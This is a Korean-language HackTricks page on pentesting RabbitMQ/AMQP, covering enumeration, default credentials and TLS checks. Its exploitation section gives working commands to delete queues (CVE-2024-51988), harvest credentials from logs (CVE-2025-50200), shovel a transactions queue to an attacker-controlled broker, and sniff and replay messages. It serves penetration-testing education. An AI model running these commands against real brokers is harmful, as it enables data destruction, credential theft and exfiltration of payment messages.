5671,5672 - Pentesting AMQP
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
From cloudamqp:
RabbitMQ는 메시지 브로커 또는 _큐 매니저_로도 알려진 메시지 큐잉 소프트웨어입니다. 간단히 말해; 큐가 정의되는 소프트웨어로, 애플리케이션들이 메시지나 메시지들을 전송하기 위해 연결합니다.
메시지는 어떤 종류의 정보든 포함할 수 있습니다. 예를 들어 다른 애플리케이션(심지어 다른 서버에 있을 수도 있음)에서 시작해야 하는 프로세스나 작업에 관한 정보를 포함할 수 있고, 단순한 텍스트 메시지일 수도 있습니다. 큐 매니저 소프트웨어는 수신 애플리케이션이 연결되어 큐에서 메시지를 가져갈 때까지 메시지를 저장합니다. 수신 애플리케이션은 그 메시지를 처리합니다.
정의 출처.
기본 포트: 5672,5671
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
- 기본 자격증명:
guest:guest. RabbitMQ는loopback_users를 통해 이를 localhost로 제한하지만, 많은 Docker/IoT 이미지가 해당 검사를 비활성화하므로 차단된 것으로 가정하기 전에 항상 원격 로그인을 테스트하세요. - 인증 메커니즘: PLAIN과 AMQPLAIN은 기본적으로 활성화되어 있고, ANONYMOUS는
anonymous_login_user/anonymous_login_pass에 매핑되며, EXTERNAL (x509)은 TLS가 활성화된 경우 노출될 수 있습니다. 브로커가 광고하는 것을 열거하여 이후에 password spraying 또는 certificate impersonation을 시도할지 판단하세요.
열거
수동
import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)
인증이 완료되면 conn.server_properties, conn.channel_max, conn.frame_max을 dump하여 throughput limits와 oversized frames로 리소스를 소진할 수 있는지 확인하세요.
Automatic
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
| amqp-info:
| capabilities:
| publisher_confirms: YES
| exchange_exchange_bindings: YES
| basic.nack: YES
| consumer_cancel_notify: YES
| copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
| information: Licensed under the MPL. See http://www.rabbitmq.com/
| platform: Erlang/OTP
| product: RabbitMQ
| version: 3.1.5
| mechanisms: PLAIN AMQPLAIN
|_ locales: en_US
TLS/SASL 검사
- Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null
이 명령은 인증서 체인, 지원되는 TLS 버전 및 mutual TLS 필요 여부를 leaks합니다.
- List listeners without creds:
rabbitmq-diagnostics -q listeners
호스트에서 low-priv shell 접근을 얻은 후 유용합니다.
- Spot ANONYMOUS logins: 브로커가 ANONYMOUS SASL 메커니즘을 허용하면, 빈 username/password로 연결을 시도해보세요; RabbitMQ는 내부적으로 당신을
anonymous_login_user(기본값guest)로 매핑합니다.
Brute Force
Exploitation Tips
Queue 삭제 (configure 권한 없음) (CVE-2024-51988)
RabbitMQ ≤ 3.12.10 (및 패치되지 않은 Tanzu 빌드)는 HTTP API를 통해 큐를 삭제할 때 configure 권한 검사를 수행하지 않습니다. 대상 vhost에 접근할 수 있는 인증된 사용자는 read 또는 write 권한만 있어도 임의의 큐를 nuke(제거)할 수 있습니다.
# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
Combine this with rabbitmqadmin list permissions to find vhosts where your low-priv user has partial access, then wipe queues to induce denial of service or trigger compensating controls observed on the AMQP side. Check 15672 pentesting for more HTTP API endpoints to chain with this bug.
RabbitMQ 로그에서 자격증명 수집 (CVE-2025-50200)
4.0.8/4.1.0 이전 버전에서는 management API에 HTTP basic auth로 존재하지 않는 리소스에 접근하면 브로커가 전체 Authorization 헤더(base64)를 로그에 기록합니다. 제한된 파일시스템 접근(예: Docker escape, plugin RCE)을 확보한 경우 /var/log/rabbitmq/rabbit@*.log에서 Authorization:을 검색하여 다른 테넌트 또는 서비스 계정의 자격증명을 복구할 수 있습니다.
curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d
이것을 의도적으로 잘못된 엔드포인트로 트리거하여 로그에 새로운 비밀을 심고, 그런 다음 디코딩된 인증정보를 AMQP, STOMP, MQTT 또는 OS 자체를 통해 재사용해 피벗하세요.
rabbitmqadmin-ng 무기화
rabbitmqadmin v2 (aka rabbitmqadmin-ng)은 관리 API와 통신하는 독립 실행형 CLI이며, 현재 Linux/macOS/Windows용 정적 링크된(statically linked) 빌드를 제공합니다. bounce box에 올려 스크립트로 사용하세요:
# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen
해당 도구는 blue/green 인식 헬스 체크를 지원하므로, rabbitmqadmin health_check port_listener --port 5672를 오용해 TLS 리스너가 노출되었는지 원격으로 확인하거나 타이밍 프로브를 위해 서비스를 바쁘게 만들 수 있습니다.
Message hijacking/sniffing
허용적인 정책(.* bindings, topic exchanges, 또는 x-queue-master-locator = min-masters)을 발견하면, 메시지를 삭제하지 않고 조용히 가로챌 수 있습니다:
import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)
민감한 흐름에 집중하려면 라우팅 키를 audit.# 또는 payments.*로 교체한 다음, basic_publish 인수를 뒤집어 위조된 메시지를 재게시하세요 — 다운스트림 마이크로서비스에 대한 replay attacks에 유용합니다.
기타 RabbitMQ 포트
In https://www.rabbitmq.com/networking.html you can find that rabbitmq uses several ports:
- 1883, 8883: (MQTT clients without and with TLS, if the MQTT plugin is enabled. Learn more about how to pentest MQTT here.
- 4369: epmd, a peer discovery service used by RabbitMQ nodes and CLI tools. Learn more about how to pentest this service here.
- 5672, 5671: used by AMQP 0-9-1 and 1.0 clients without and with TLS
- 15672: HTTP API clients, management UI and rabbitmqadmin (only if the management plugin is enabled). Learn more about how to pentest this service here.
- 15674: STOMP-over-WebSockets clients (only if the Web STOMP plugin is enabled)
- 15675: MQTT-over-WebSockets clients (only if the Web MQTT plugin is enabled)
- 15692: Prometheus metrics (only if the Prometheus plugin is enabled)
- 25672: used for inter-node and CLI tools communication (Erlang distribution server port) and is allocated from a dynamic range (limited to a single port by default, computed as AMQP port + 20000). Unless external connections on these ports are really necessary (e.g. the cluster uses federation or CLI tools are used on machines outside the subnet), these ports should not be publicly exposed. See networking guide for details. 이 포트들 중 인터넷에 열린 것은 9개뿐입니다.
- 35672-35682: used by CLI tools (Erlang distribution client ports) for communication with nodes and is allocated from a dynamic range (computed as server distribution port + 10000 through server distribution port + 10010). See networking guide for details.
- 61613, 61614: STOMP clients without and with TLS (only if the STOMP plugin is enabled). Less than 10 devices with this port open and mostly UDP for DHT nodes.
See also
Shodan
AMQP
References
- CloudAMQP – RabbitMQ for beginners
- RabbitMQ Networking Guide
- RabbitMQ Authentication, Authorisation & Access Control
- CVE-2024-51988 – RabbitMQ HTTP API queue deletion bug
- GHSA-gh3x-4x42-fvq8 – RabbitMQ logs Authorization header
- rabbitmqadmin v2 (rabbitmqadmin-ng)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

